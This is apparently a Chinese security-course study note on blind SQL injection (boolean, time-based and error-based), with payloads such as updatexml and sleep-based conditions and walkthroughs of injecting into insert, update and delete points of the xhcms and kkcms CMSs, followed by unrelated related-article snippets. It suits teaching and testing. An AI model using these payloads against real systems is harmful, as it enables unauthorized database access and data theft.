小迪安全29WEB 攻防-通用漏洞SQL 注入增删改查盲注延时布尔报错

#知识点:

1、明确查询方式注入 Payload

2、明确查询方式注入产生功能

3、明确 SQL 盲注延时&布尔&报错

#详细点:

盲注就是在注入过程中,获取的数据不能回显至前端页面。 也就是在代码中无echo将sql结果输出出来

此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。

解决:常规的联合查询注入不行的情况

我们可以知道盲注分为以下三类:

-基于布尔的 SQL 盲注-逻辑判断    有数据库输出判断标准

regexp,like,ascii,left,ord,mid

/blog/news.php?id=1 and length(database())=7

-基于时间的 SQL 盲注-延时判断     都不需要 ——最优

if,sleep

/blog/news.php?id=1 and if(1=1,sleep(5),0)

判断:不是前端的页面,而是初始的网页响应速度和注入后的响应速度,进行判断(BP)

延迟的目的:运用if的条件语句判断数据库里的数据正确性,由于无回显,所以用延迟响应速度进行反向正确

-基于报错的 SQL 盲注-报错回显      有数据库报错处理判断标准

floorupdatexmlextractvalue

/blog/news.php?id=2 and updatexml(1,concat(0x7e,(SELECT

@@version),0x7e),1)

参考: https://www.jianshu.com/p/bc35f8dd4f7c

like 'ro%' #判断 ro ro...是否成立

regexp '^xiaodi[a-z]' #匹配 xiaodi xiaodi...

if(条件,5,0) #条件成立 返回 5 反之 返回 0

sleep(5) #SQL 语句延时执行 5

mid(a,b,c) #从位置 b 开始,截取 a 字符串的 c

substr(a,b,c) #从位置 b 开始,截取字符串 a c 长度

left(database(),1)database() #left(a,b)从左侧截取 a 的前 b

length(database())=8 #判断数据库 database()名的长度

ord=ascii ascii(x)=97 #判断 x ascii 码是否等于 97

SQL 查询方式注入

select,insert,update,delete,orderby

基本知识本地测试

select * from member where username like 'vi%';

select * from member where username regexp '^x';

select * from member where id=1 and sleep(1);

select * from member where id=1 and if(1>2,sleep(1),0);

select * from member where id=1 and if(1<2,sleep(1),0);

select * from member where id=1 and length(database())=7;

SQL-盲注&布尔&报错&延时

查询-select-xhcms-布尔盲注

插入-insert-xhcms-报错盲注

更新-update-xhcms-报错盲注

删除-delete-kkcms-延时盲注

1、查询方式增删改查四种特性决定,部分是不需要进行数据取出和显示,所以此类注入

基本上需要采用盲注才能正常得到结果(黑盒测试可以根据功能判断注入查询方式)

2、查询方式增删改查四种特性决定应用功能点(会员注册,删除新闻,修改文章等)

案例一:xhcms

Insert

白盒查询,发现insert语句于数据库中的字段相似,于是就以此为注入点

由代码得知,是以insert插入的盲注SQL注入,并且是报错盲注

直接通过路径访问——报错

查看它的访问形式,index.php发现有

根据代码格式,进行访问

出现弹窗,再根据submit.php的结合,得知,需要对其进行传参

但过于频繁,所以我们就去观察有没有网页对submit.php进行调用,因为初步来看它像是一个表单

发现调用,所以确认出注入点

 or updatexml(1,concat(0x7e,(version())),0) or

因为存在mysql_error存在报错漏洞

黑盒角度:
发现此表单,是一个留言板,留言板就会与数据库有关,并且每输入一个留言,就是一个插入数据库的操作,insert into values(‘xx’,’xxx’...)注意格式单引号,然后插入又是报错注入类型

Sqlmap:

需考虑验证码的情况,所以最优是手工

Update:

白盒

看看能不能直接访问

可以,代码得知参数是cid,是报错盲注

2 and updatexml(1,concat(0x7e,(SELECT

@@version),0x7e),1)

黑盒:根据功能点寻找

通过下载进行触发注入

案例二:kkcms

Delete

通过代码得知,此注入点为delete,True和时间盲注

因为路径是admin,所以判断此漏洞在后台,通过代码找漏洞,直接输入路径

无响应,看代码,得知需传参数del,且del不能为1,如果是1则会被认为是默认会员不能被删除

Del=2 and if(1=1.sleep(5),0)——此时的语句是不对的,因为and是一假则全假,所以不够保证,因此改为or

Del=2 or if(1=1.sleep(5),0)

还是不对,对mysql进行监视,发现并没有注入进去

由于我们是直接进访问地址的,会出现SQL语句不运用的情况,没有函数去触发我们的参数,所以我们要去找调用了这个文件的文件

再对其进行访问+注入

对比以前

时间注入成功

然后对其进行信息盲注,但发现它对单引号做了转义——宽字节过滤,

所以我们对单引号进行ASCII码,ord(left(database(),1)=107),ord函数转ASCII码

k的ascii为107——这里是if条件的转化

布尔 :

2 and length(database())=7

Sqlmap:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/400454.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

qt_day3

#include "widget.h" #include "ui_widget.h"Widget::Widget(QWidget *parent): QWidget(parent), ui(new Ui::Widget) {ui->setupUi(this);//设置账户和密码的登录标签ui->lab1->setPixmap(QPixmap(":/pictrue/wodepeizhenshi.png"));…

【学习心得】编程小白该如何学好C语言(✨新手推荐阅读)

前言 对于刚刚踏入编程领域的小白来说&#xff0c;C语言可能是一个既神秘又充满挑战的领域。但只要你掌握了正确的学习方法&#xff0c;C语言的学习之旅也可以是充满乐趣和成就感的。 一、明确学习目标 对于初学者来说&#xff0c;明确学习目标是学好C语言的第一步。一个清晰…

从零开始学习PX4源码1(两个三维矢量如何转换成四元数)

目录 文章目录 目录摘要参考网址推导过程 摘要 本节主要记录px4如何从两个三维旋转矢量转换到四元数的过程&#xff0c;欢迎批评指正&#xff01;&#xff01;&#xff01; 参考网址 三维矢量转四元数 推导过程

一个基于C#开发的、开源的特殊字符输入法

emoji表情在社交网络非常流行&#xff0c;我们在手机也非常方便输入&#xff0c;但是在PC电脑我们一般需要到归集好的网页拷贝&#xff0c;所以今天推荐一个Windows小工具&#xff0c;让你方便输入特殊字符和emoji表情。 01 项目简介 这是一个基于C#开发的开源项目&#xff0…

一周学会Django5 Python Web开发-Django5路由变量

锋哥原创的Python Web开发 Django5视频教程&#xff1a; 2024版 Django5 Python web开发 视频教程(无废话版) 玩命更新中~_哔哩哔哩_bilibili2024版 Django5 Python web开发 视频教程(无废话版) 玩命更新中~共计22条视频&#xff0c;包括&#xff1a;2024版 Django5 Python we…

sqllabs第46关 order by 注入

简介&#xff1a;&#xff08;order by注入-错误回显-POST注入&#xff09; 请求方法&#xff1a;POST 方法&#xff1a;order by注入错误回显数字型注入 先了解下 order by参数注入&#xff1a; order by 注入是指其后面的参数是可控的&#xff0c; order by 不同于我们在 whe…

Java最全面试总结——5. MyBatis篇

1、什么是MyBatis &#xff08;1&#xff09;Mybatis是一个半ORM&#xff08;对象关系映射&#xff09;框架&#xff0c;它内部封装了JDBC&#xff0c;开发时只需要关注SQL 语句本身&#xff0c;不需要花费精力去处理加载驱动、创建连接、创建statement等繁杂的过程。程序员直…

计算机网络基础之计算机网络组成与分类

计算机网络基础 计算机网络是计算机技术与通信技术发展相结合的产物&#xff0c;并在用户需求的促进下得到进一步的发展。通信技术为计算机之间的数据传输和交换提供了必需的手段&#xff0c;而计算机技术又渗透到了通信领域&#xff0c;提高了通信网络的性能。 计算机网络的…

一个简短的补充------对链表练习题的补充补充

昨天不是写了一篇有关链表的数据结构练习题嘛&#xff0c;其实那篇文章的第二道题还有许多值得我们思考的东西&#xff0c;今天就在这做一个简短的补充。补充一下运用那道题解决另一道题。 给大家看一下绿色让眼睛放松一下。 给定一个链表的头节点 head &#xff0c;返回链表…

十三:集合

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 01、Java 集合框架概述1.1、集合框架与数组的对比及概述1.2、集合框架涉及到的API 02、Collection接口方法2.1、Collection接口中的常用方法12.2、Collection接口中…

在Discord上添加自己的服务器并邀请midjourney机器人加入

我开发的chatgpt网站&#xff1a; https://chat.xutongbao.top

【机器学习案例5】语言建模 - 最常见的预训练任务一览表

自监督学习 (SSL) 是基于 Transformer 的预训练语言模型的支柱,该范例涉及解决有助于建模自然语言的预训练任务 (PT)。本文将所有流行的预训练任务放在一起,以便我们一目了然地评估它们。 SSL 中的损失函数 这里的损失函数只是模型训练的各个预训练任务损失的加权和。 以BE…

【智能家居】7、主程序编写+实现语音、网络和串口功能

需要毕业论文私信有偿获取 截止目前mainPro.c代码 #include <stdio.h> #include <string.h>#include "controlDevices.h" #include "inputCmd.h"struct Devices *findDevicesName(char *name,struct Devices *phead){struct Devices *tmp=ph…

互联网上的音频和视频服务

1 互联网上的音频和视频服务概述 许多用户开始利用互联网传送音频/视频信息。 在许多情况下&#xff0c;这种音频/视频常称为多媒体信息。 多媒体信息&#xff1a;内容上相互关联的文本、图形、图像、声音、动画和活动图像等所形成的复合数据信息。 多媒体信息的两个最主要…

【Python】2019年蓝桥杯省赛真题——完全二叉树的权值

蓝桥杯 2019 省 A&B&#xff1a;完全二叉树的权值 题目描述 给定一棵包含 N N N 个节点的完全二叉树&#xff0c;树上每个节点都有一个权值&#xff0c;按从上到下、从左到右的顺序依次是 A 1 , A 2 , ⋯ A N A_1,A_2, \cdots A_N A1​,A2​,⋯AN​&#xff0c;如下图所…

ueditor编辑器中的span标签被过滤处理办法

问题&#xff1a;我编辑指南的时候&#xff0c;给指南加了个span标签&#xff0c;并设置了id的属性&#xff0c; <span idhash_tag_location_11></span>;但是我编辑完以后&#xff0c;查看的时候发现span没了&#xff0c;id属性都消失了 解决过程 1、优先想到的是…

一个PDF处理利器的.Net开源项目

在项目开发中&#xff0c;处理PDF文件是一个非常常见的需求&#xff0c;之前也推荐几个&#xff0c;今天继续给大家推荐一个强大且易于使用的开源库&#xff0c;专门用于处理PDF文件&#xff0c;它提供了一系列功能强大的工具&#xff0c;帮助开发人员轻松地解析、修改和创建PD…

碳化硅晶片C面和硅面详解

SiC是一种Si元素和C元素以1:1比例形成的二元化合物&#xff0c;即百分之五十的硅&#xff08;Si&#xff09;和百分之五十的碳&#xff08;C&#xff09;&#xff0c;其基本结构单元为 Si-C 四面体。 举个例子&#xff0c;Si原子直径大&#xff0c;相当于苹果&#xff0c;C原子…

NAS系统折腾记 | 黑群晖系统快速制作英特尔核显补丁支持硬解

常见的群晖机器&#xff0c;例如 DS920&#xff0c;DS918&#xff0c;系统内核一直是 4.4 的&#xff0c;而这个内核自带的核显驱动最高支持到 9 代&#xff0c;支持的CPU型号分别是J3455&#xff08;DS918&#xff09;和J4155&#xff08;DS920&#xff09;。而目前DIY搭建NAS…

【八股文面试】Java基础常见面试题总结(上)

Java基础常见面试题总结(上) Java有哪些特性 简单易学&#xff1b;面向对象&#xff08;封装&#xff0c;继承&#xff0c;多态&#xff09;&#xff1b;平台无关性&#xff08; Java 虚拟机实现平台无关性&#xff09;&#xff1b;支持多线程&#xff08; C 语言没有内置的多…
最新文章